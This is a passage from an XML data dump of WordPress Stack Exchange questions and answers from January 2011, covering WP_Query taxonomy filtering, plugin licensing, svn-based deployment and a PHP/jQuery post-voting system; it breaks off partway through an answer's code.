  <row Id="6975" PostTypeId="1" AcceptedAnswerId="6979" CreationDate="2011-01-14T13:41:56.923" Score="0" ViewCount="583" Body="&lt;p&gt;Here is the code I'm using right now. It fetches the posts from all the categories in the 'sp_events' post type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $feat_art = new WP_Query(array('post_type' =&amp;gt; 'sp_events','post_status' =&amp;gt; 'publish','posts_per_page' =&amp;gt; 1));   while($feat_art-&amp;gt;have_posts()) : $feat_art-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to display the posts only from a category named 'eventcat1'. &#xA;I tried the following code, but it did not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $feat_art = new WP_Query(array('post_type' =&amp;gt; 'sp_events','category_name'=&amp;gt; 'eventcat1','post_status' =&amp;gt; 'publish','posts_per_page' =&amp;gt; 1));   while($feat_art-&amp;gt;have_posts()) : $feat_art-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to specify either the category name or the id in the query?&#xA;Any help would be appreciated.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2498" LastActivityDate="2011-01-14T15:04:26.883" Title="How to include category name/id in wp_query for retrieving &quot;custom post type&quot; from a particular category?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" />
  <row Id="6976" PostTypeId="1" AcceptedAnswerId="6980" CreationDate="2011-01-14T13:54:27.167" Score="0" ViewCount="40" Body="&lt;p&gt;(Please note I'm NOT asking about wordpress.org but about &lt;strong&gt;wordpress.com&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just posted a new entry but my current theme has a fixed width which makes my post become &lt;em&gt;buggy&lt;/em&gt; and surely myself and the readers won't like it very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm looking for another theme that has the content width maximized. If you know ones, please share! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2011-02-13T16:37:18.117" Title="Need a theme that let the posted content stretched maximum width" Tags="&lt;themes&gt;&lt;wordpress.com&gt;&lt;maximized-width&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6977" PostTypeId="1" CreationDate="2011-01-14T14:37:37.537" Score="0" ViewCount="252" Body="&lt;p&gt;It would be best if I started out be explaining the situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while ago I created a Property/Real Estate management system using PHP and MySQL. It works great and I have a lot of customers using it now but I would like to expand its capabilities to wordpress. I know a little bit about plugin development, but I do not know how to approach the project or how to design it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to create a plugin that takes information from a database (the one with all the property information) and displays it in wordpress. I need to create 3 parts: a search form, a results list and a page to display the property information. Here are some important points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I do not want to add the property information to the posts table. For example, on posts/custom-post-type per property. I want to retrieve the data directly from another table.&lt;/li&gt;&#xA;&lt;li&gt;I want to be able to use friendly URLs. For example: &lt;a href=&quot;http://mysite.com/property/56&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/property/56&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I want to be able to set the title and description (in the head section) with data from each property&lt;/li&gt;&#xA;&lt;li&gt;All of this has to happen from the plugin and CANNOT rely on the theme.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, what are your ideas? How should I approach this challange? Here is what I have been thinking, but I am not sure if it will work:&#xA;1. Create a custom post type called 'Property'.&#xA;2. Create a template file for displaying the property information.&#xA;3. Create a template file to show the search form and results. This could be like and archive template&#xA;4. That is as far as I got. I don't know how to make wordpress display a post that actually is not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, what are your ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate the help.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-13T19:23:32.213" Title="Output custom content not from the posts table?" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;content&gt;" AnswerCount="3" />
  <row Id="6978" PostTypeId="2" ParentId="6927" CreationDate="2011-01-14T14:40:11.947" Score="1" ViewCount="" Body="&lt;p&gt;I did more research and found a plugin that corrects the pagination issues with multiple categories. To summarize, I am using using a plugin called &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;WordPress Category Archive&lt;/em&gt; - www.wordpress.org/extend/plugins/wp-category-archive/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to display my category specific archive. There were some issues with pagination due to the year/month being included in the url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Solution&lt;/strong&gt;: A plugin called&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Category Pagination fix&lt;/em&gt; - &lt;a href=&quot;http://wordpress.org/extend/plugins/category-pagination-fix/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/category-pagination-fix/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is working perfectly now! Hope this helps others. Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2011-01-14T14:40:11.947" />
  <row Id="6979" PostTypeId="2" ParentId="6975" CreationDate="2011-01-14T14:52:40.930" Score="2" ViewCount="" Body="&lt;p&gt;The following code worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $feat_art = new WP_Query(array('post_type' =&amp;gt; 'sp_events','sp_events_cat'=&amp;gt; 'eventcat1','post_status' =&amp;gt; 'publish','posts_per_page' =&amp;gt; 1));   while($feat_art-&amp;gt;have_posts()) : $feat_art-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2498" LastEditorUserId="2498" LastEditorDisplayName="" LastEditDate="2011-01-14T15:04:26.883" LastActivityDate="2011-01-14T15:04:26.883" CommentCount="3" />
  <row Id="6980" PostTypeId="2" ParentId="6976" CreationDate="2011-01-14T14:53:00.430" Score="2" ViewCount="" Body="&lt;p&gt;.com had recently got much improved catalog of themes with search, filtering and other nifties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://theme.wordpress.com/themes/widths/flexible-width/&quot; rel=&quot;nofollow&quot;&gt;all themes with flexible width template&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing fits there is &lt;a href=&quot;http://en.wordpress.com/products/&quot; rel=&quot;nofollow&quot;&gt;paid option&lt;/a&gt; to allow CSS customization.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T14:53:00.430" />
  <row Id="6981" PostTypeId="2" ParentId="6977" CreationDate="2011-01-14T15:01:21.940" Score="0" ViewCount="" Body="&lt;p&gt;Basically you want custom posts in WordPress that will be just pointers to external data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want full import then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Store some kind of unique property identifier (that makes sense for your external data) as meta field or guid in custom post type. &lt;/li&gt;&#xA;&lt;li&gt;Make wrapper function that will take ID of your custom post, retrieve identifier from it and use separate instance of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;wpdb class&lt;/a&gt; to query and return data from external database (assuming it's also MySQL or you are on your own with retrieving that data). Use this in template as needed or append to post content with filters, etc.&lt;/li&gt;&#xA;&lt;li&gt;Add some dressing, like periodic import of property identifiers with cron.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T15:01:21.940" CommentCount="5" />
  <row Id="6982" PostTypeId="1" CreationDate="2011-01-14T15:04:17.587" Score="1" ViewCount="453" Body="&lt;p&gt;I am currently using a wordpress plugin called &quot;limit-posts&quot; to better customize my post excerpts. The only issue I have is the excerpt is including the caption text from the image that is within the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in the code that all captions are enclosed in  tags&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can strip out the any content within em tags from the post excerpt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the current plugin in use - &lt;a href=&quot;http://labitacora.net/comunBlog/limit-post.phps&quot; rel=&quot;nofollow&quot;&gt;http://labitacora.net/comunBlog/limit-post.phps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;" LastActivityDate="2011-01-14T19:18:00.347" Title="Remove image caption from post excerpt" Tags="&lt;posts&gt;&lt;excerpt&gt;&lt;captions&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="6983" PostTypeId="1" AcceptedAnswerId="6985" CreationDate="2011-01-14T15:05:31.720" Score="0" ViewCount="81" Body="&lt;p&gt;I've been looking into using the Wordpress Repository for one of my larger plugins, the problem is that it's using a lot of third party software. Video players/Slide scripts/Jquery includes, some of which are commercial in nature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is related to the content that differs from the GPL v2. Id like to include those into the plugin, since that would make it easier to use. If I get permission from the third party, is this possible? As an example flowplayer (GPL 3) and Longtail Video Player (Commercial).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also will this supporting software be exempt from the GPL 2 license restriction? &lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-01-14T15:34:12.957" Title="Possibility of including third party software/plugins in the Wordpress repository" Tags="&lt;repository&gt;&lt;third-party-applications&gt;&lt;licensing&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6984" PostTypeId="2" ParentId="6983" CreationDate="2011-01-14T15:24:44.097" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;Official requirements&lt;/a&gt; say that code should be &lt;a href=&quot;http://www.gnu.org/licenses/license-list.html#GPLCompatibleLicenses&quot; rel=&quot;nofollow&quot;&gt;GPLv2-compatible&lt;/a&gt;. Note that actual page they link to is for GPL-compatible of unspecific version and includes GPLv3 as well. Quick search show some GPLv3 plugins in repository so that one should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definite no on proprietary components, unless you convince developers to release or dual-license their code under compatible license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one way around that would be to make plugin download and install proprietary components during installation (with disclosure and such), but that is not a technique I see used often.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T15:24:44.097" />
  <row Id="6985" PostTypeId="2" ParentId="6983" CreationDate="2011-01-14T15:34:12.957" Score="2" ViewCount="" Body="&lt;h2&gt;License Compatibility&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As a &lt;a href=&quot;http://mindsharestrategy.com/a-quick-gpl-overview/#comments&quot; rel=&quot;nofollow&quot;&gt;recent commenter pointed out on my site&lt;/a&gt;, it should be possible to distribute a plug-in that's not GPL so long as you don't distribute it with WordPress.  However, the guys at WP.org have &lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;pointed out&lt;/a&gt; time and again that only GPL-compatible plug-ins &lt;strong&gt;must&lt;/strong&gt; be &lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.html#AllCompatibility&quot; rel=&quot;nofollow&quot;&gt;compatible with version 2 of the GPL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this puts you between a rock and a hard place.  Strictly speaking, you can't distribute commercially licensed software under the terms of the GPL ... so Longtail would be out in this case.  However, you might be able to get permission from Flowplayer to incorporate it in a GPLv2 plug-in.  Just make sure you ask and point this out clearly in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Support&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But remember, including 3rd party libraries doesn't require you to support them if the end user is using them outside your plug-in.  And &quot;support&quot; is ambiguous anyway.  The only support-related requirement is that, if you distribute compiled software, you provide a written offer (valid for 2 years) to provide the source code to anyone you gave the compiled binaries to.  Since your plug-in is written in PHP, it's &lt;em&gt;interpreted&lt;/em&gt; not compiled ... so you already provide the source code.  (Meaning you're not obligated to do anything further).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Alternative&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A potential alternative would be to make your plug-in &quot;pluggable.&quot;  Meaning it can use whatever video library or player the end user has available.  Then you can load and use something like Longtail if it's available without having to distribute it.  This just adds an extra requirement for the user to find, download, and install a separate player of their choice (I'd recommend listing several possibilities in your documentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd add a configuration section to your plug-in (somewhere in the admin screen) where the user enters the path of their video plug-in and tells you which one it is (so you can use the right API).  This lifts the burden of licensing off your shoulders.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In Summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just remember these key points:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your plug-in must be compatible with version 2 of the GPL, even if it's using some other license&lt;/li&gt;&#xA;&lt;li&gt;Your only support requirement is to provide the source of your solution, which you do by default when you release it to the WP.org repository&lt;/li&gt;&#xA;&lt;li&gt;If you incorporate a (non-free) third-party solution, you're limiting the rights of your users to edit, re-publish, and re-distribute your system ... though this isn't in the spirit of the GPL, &lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.html#GPLIncompatibleLibs&quot; rel=&quot;nofollow&quot;&gt;there are some ways to do it&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-14T15:34:12.957" />
  <row Id="6986" PostTypeId="2" ParentId="6951" CreationDate="2011-01-14T15:51:54.303" Score="0" ViewCount="" Body="&lt;p&gt;I don't think it will be much of an issue. I have several sites with hundreds or thousands of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify though, you'll likely have fewer issues if you use WordPress &quot;Posts&quot; rather than &quot;Pages.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you know this, it's in the &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;, but just in case... Posts and Pages are different in WordPress. Posts will show up in the RSS feed, you can assign categories and tags to them. Pages are meant for your contact page, about page, etc. This is generally how WordPress is designed to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote briefly about this &lt;a href=&quot;http://wpfolio.visitsteve.com/wiki/instructions/adding-content&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but it's in the context of creating artists portfolios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpapprentice.com/videos/blogging/creating-content-in-wordpress-posts-vs-pages/&quot; rel=&quot;nofollow&quot;&gt;There's a video (recorded a while ago) by someone here.&lt;/a&gt; The key thing I would add to the video is that posts show up in reverse chronological generally, but the way you display content can be changed however you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's an especially &lt;a href=&quot;https://lorelle.wordpress.com/2007/09/18/are-you-abusing-your-wordpress-pages-and-your-blog/&quot; rel=&quot;nofollow&quot;&gt;good article about it by Lorelle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck...&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2011-01-14T15:51:54.303" CommentCount="2" />
  <row Id="6987" PostTypeId="2" ParentId="6982" CreationDate="2011-01-14T16:06:09.207" Score="0" ViewCount="" Body="&lt;p&gt;You can always simply hide it with CSS.&lt;br&gt;&#xA;It's not a perfect solution but may be sufficient for your case.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS class of the caption paragraph is &lt;code&gt;.wp-caption-text&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-14T18:18:04.387" LastActivityDate="2011-01-14T18:18:04.387" />
  <row Id="6988" PostTypeId="1" AcceptedAnswerId="6996" CreationDate="2011-01-14T16:23:55.267" Score="0" ViewCount="139" Body="&lt;p&gt;Okay I posted a question yesterday, that can be found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6898/need-specific-kind-of-poll-voting-for-wordpress&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found some code on the wonderful internet that I think is really the ticket for me, but I don't know how to develop into what I really need. Here is the breakdown - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need three separate vote links. &#xA;I need to change the word &quot;Vote&quot; on each to something else. IE: Good/Meh/Bad. (I think I can figure this one out) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping there is a simple and easy way to slap another two vote links into this code, because the code itself is really simple and easy. Just beg pardon my lack of PHP/Jquery knowledge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script( 'jquery' ) ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;jQuery(&quot;.vote a&quot;).click(&#xA;function() {&#xA;var some = jQuery(this);&#xA;var thepost = jQuery(this).attr(&quot;post&quot;);&#xA;var theuser = jQuery(this).attr(&quot;user&quot;);&#xA;jQuery.post(&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/vote.php&quot;, {user: theuser, post: thepost}, &#xA;function(data) {&#xA;var votebox = &quot;.vote&quot;+thepost+&quot; span&quot;;&#xA;jQuery(votebox).text(data);&#xA;jQuery(some).replaceWith('&amp;lt;span class=&quot;voted&quot;&amp;gt;Voted&amp;lt;/span&amp;gt;');&#xA;});&#xA;});&#xA;}); &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vote.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$file = dirname(__FILE__);&#xA;$file = substr($file, 0, stripos($file, &quot;wp-content&quot;) );&#xA;&#xA;require( $file . &quot;/wp-load.php&quot;);&#xA;&#xA;$currentvotes = get_post_meta($_POST['post'], 'votes', true);&#xA;$currentvotes = $currentvotes + 1;&#xA;&#xA;$voters = get_post_meta($_POST['post'], 'thevoters', true);&#xA;if(!$voters) $voters = $_POST['user']; else $voters = $voters.&quot;,&quot;.$_POST['user'];&#xA;&#xA;update_post_meta($_POST['post'], 'votes', $currentvotes);&#xA;update_post_meta($_POST['post'], 'thevoters', $voters);&#xA;&#xA;echo $currentvotes;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Functions.php reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function voting($id) {&#xA;global $user_ID;&#xA;$currentvotes = get_post_meta($id, 'votes', true);&#xA;$voters = get_post_meta($id, 'thevoters', true);&#xA;$voters = explode(&quot;,&quot;, $voters);&#xA;foreach($voters as $voter) {&#xA; if($voter == $user_ID) $alreadyVoted = true;&#xA;}&#xA;&#xA;if(!$currentvotes) $currentvotes = 0;&#xA;echo '&amp;lt;div class=&quot;vote vote'.$id.'&quot;&amp;gt;&amp;lt;span&amp;gt;'.$currentvotes.'&amp;lt;/span&amp;gt;';&#xA;if($user_ID &amp;amp;&amp;amp; !$alreadyVoted) echo '&amp;lt;br /&amp;gt;&amp;lt;a post=&quot;'.$id.'&quot; user=&quot;'.$user_ID.'&quot;&amp;gt;'.__(&quot;Vote&quot;).'&amp;lt;/a&amp;gt;';&#xA;if($user_ID &amp;amp;&amp;amp; $alreadyVoted) echo '&amp;lt;br /&amp;gt;&amp;lt;span class=&quot;voted&quot;&amp;gt;'.__(&quot;Voted&quot;).'&amp;lt;/span&amp;gt;';&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;if(!$user_ID) echo '&amp;lt;div class=&quot;signup&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;'.get_bloginfo('url').'/wp-login.php?action=register&quot;&amp;gt;'.__('Register').'&amp;lt;/a&amp;gt; '.__('to vote').'.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/#comment-22693&quot; rel=&quot;nofollow&quot;&gt;Source has a demo.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help with this would be really, really appreciated. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-14T19:14:52.220" Title="WP 3-way voting system: On to something! Please help!" Tags="&lt;plugin-development&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="6989" PostTypeId="2" ParentId="6982" CreationDate="2011-01-14T16:28:15.763" Score="0" ViewCount="" Body="&lt;p&gt;I'd not use something like this at all. There are plenty of hooks for content and excerpt retrieval to use, I see absolutely no need to drop native functions in favor of something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;excerpt_length&lt;/code&gt; filter to change excerpt length (in words) or &lt;code&gt;the_excerpt&lt;/code&gt; to make changes to excerpt's text before output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I may ask - what is your technical level with WordPress? Do you want some code examples for this? If so please write out how exactly you want excerpt modified.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T16:28:15.763" />
  <row Id="6990" PostTypeId="1" AcceptedAnswerId="7060" CreationDate="2011-01-14T16:29:32.813" Score="1" ViewCount="182" Body="&lt;p&gt;I download and configure Wordpress for a development environment and a production environment. After it's set up on one server we check it into a subversion repo and then go and check it out on the production server. Deployment complete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is when I have to update. I'm supposed to delete wp-includes and wp-admin but if I do that svn goes crazy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some strategies for dealing with Wordpress, subversion, and multiple deployment environments?  &lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2011-01-16T02:04:47.000" Title="Managing updates when Wordpress is in your own svn repo" Tags="&lt;subversion&gt;&lt;deployment&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6991" PostTypeId="2" ParentId="6990" CreationDate="2011-01-14T17:09:16.807" Score="2" ViewCount="" Body="&lt;p&gt;I always check out from wordpress.org's svn repository, and then use svn externals to pull in my own themes/plugins. You don't &lt;em&gt;have&lt;/em&gt; to use externals either, you can have your own themes and plugins checked out as their own working copies within the themes and plugins folders of your main WP checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage of the externals method is that you can update everything with a single command, just make sure you're checking out the right version of your own stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the themes/plugins folder and do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo svn propedit svn:externals .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the structure of the externals file should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my-theme                 http://svn.example.com/my-theme/tags/1.0&#xA;my-other-theme    -r102  http://svn.example.com/my-other-theme/trunk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Akismet is included with WP as an external so if you navigate to the plugins folder and run the propedit command you will see an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The svnbook has more &lt;a href=&quot;http://svnbook.red-bean.com/en/1.0/ch07s03.html&quot; rel=&quot;nofollow&quot;&gt;http://svnbook.red-bean.com/en/1.0/ch07s03.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-14T17:09:16.807" CommentCount="1" />
  <row Id="6992" PostTypeId="2" ParentId="6969" CreationDate="2011-01-14T17:09:27.930" Score="1" ViewCount="" Body="&lt;p&gt;I suggest you to get a theme that has a settings menu and use it as an example. The one I use (LightWord) has one, so it could be a starting point... You can find it at &lt;a href=&quot;http://students.info.uaic.ro/~andrei.luca/blog/lightword-theme&quot; rel=&quot;nofollow&quot;&gt;http://students.info.uaic.ro/~andrei.luca/blog/lightword-theme&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastActivityDate="2011-01-14T17:09:27.930" />
  <row Id="6993" PostTypeId="1" AcceptedAnswerId="7015" CreationDate="2011-01-14T17:53:08.930" Score="2" ViewCount="84" Body="&lt;p&gt;How can I make a similar posts section in my theme, but without using a plugin. I'm going to be giving my theme away for free, so I don't want to have to force people to install plugins to use my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be done?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-01-15T01:23:58.717" Title="Similar Posts - NO plugin" Tags="&lt;theme-development&gt;" AnswerCount="3" />
  <row Id="6994" PostTypeId="2" ParentId="6993" CreationDate="2011-01-14T18:01:53.380" Score="3" ViewCount="" Body="&lt;p&gt;The line between theme code and plugin code is more about intended purpose than technical limitation. Either can do what other does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want something simple (posts with same tag or around that) it won't be an issue to include it directly in &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Functions_File&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;functions.php&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But full-featured related posts solutions can get complex fast, which means they are slow, which means they need intelligent caching... To get something like that best way would be to adapt some plugin, bundle with theme and make use of it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T18:01:53.380" CommentCount="1" />
  <row Id="6995" PostTypeId="2" ParentId="5322" CreationDate="2011-01-14T19:04:30.213" Score="0" ViewCount="" Body="&lt;p&gt;If you want your site for logged-in users only you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/private-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Private WordPress (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:53:49.337" LastActivityDate="2011-02-05T17:53:49.337" CommentCount="1" />
  <row Id="6996" PostTypeId="2" ParentId="6988" CreationDate="2011-01-14T19:14:52.220" Score="0" ViewCount="" Body="&lt;p&gt;Here's a simple solution. Append the ratings to the end of the post content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'add_ratings_to_content', 4);&#xA;&#xA;// remove ratings from excerpts&#xA;add_filter('get_the_excerpt', create_function('', 'remove_filter(&quot;the_content&quot;, &quot;add_ratings_to_content&quot;, 6); return;'), 5);&#xA;&#xA;function add_ratings_to_content($content){&#xA;  global $post;&#xA;  if(is_single()) $content .= the_ratings($post-&amp;gt;ID);&#xA;  return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays the current rating:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_current_rating($post_id){&#xA;  $votes = get_option(&quot;votes_{$post_id}&quot;);&#xA;&#xA;  // handle your rating format here&#xA;  $output = '';&#xA;  if(isset($_COOKIE[&quot;rated_{$post_id}&quot;])) $output .= &quot;Your rating: &quot;.esc_attr($_COOKIE[&quot;rated_{$post_id}&quot;]);&#xA;  if(is_array($votes)):&#xA;    $output .= isset($votes['bad']) ? &quot;{$votes['bad']} people think this sucks.&quot; : null;&#xA;    $output .= isset($votes['meh']) ? &quot;{$votes['meh']} people said meh.&quot; : null;&#xA;    $output .= isset($votes['good']) ? &quot;{$votes['good']} people think this post was good.&quot; : null;&#xA;  else:&#xA;    $output = &quot;no votes yet&quot;;&#xA;  endif;&#xA;  return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ajax request. Use &lt;code&gt;$_SERVER['REMOTE_ADDR']&lt;/code&gt; to do a IP check for multiple votes because cookies can be deleted easily (and store the IP+post id somewhere, like a &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transient&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'process_vote');&#xA;function process_vote() {&#xA;  if($_GET['vote']):&#xA;    $rating = esc_attr($_GET['vote']);&#xA;    $post_id =  esc_attr($_GET['post_id']);&#xA;&#xA;    $already_voted = isset($_COOKIE[&quot;rated_{$post_id}&quot;]) ? true : false;&#xA;    $current_rating = get_current_rating($post_id);&#xA;&#xA;    if ($post_id &amp;amp;&amp;amp; in_array($rating, array('bad', 'meh', 'good')) &amp;amp;&amp;amp; !$already_voted):&#xA;      // update db&#xA;      $votes = get_option(&quot;votes_{$post_id}&quot;);&#xA;      $votes[$rating] = isset($votes[$rating]) ? ($votes[$rating]+1) : 1;&#xA;      update_option(&quot;votes_{$post_id}&quot;, $votes);&#xA;&#xA;      setcookie(&quot;rated_{$post_id}&quot;, $rating, time() + (86400 * 30)); // 30 day cookie&#xA;      echo get_current_rating($post_id);&#xA;    else:&#xA;      echo &quot;Already voted?&quot;;&#xA;    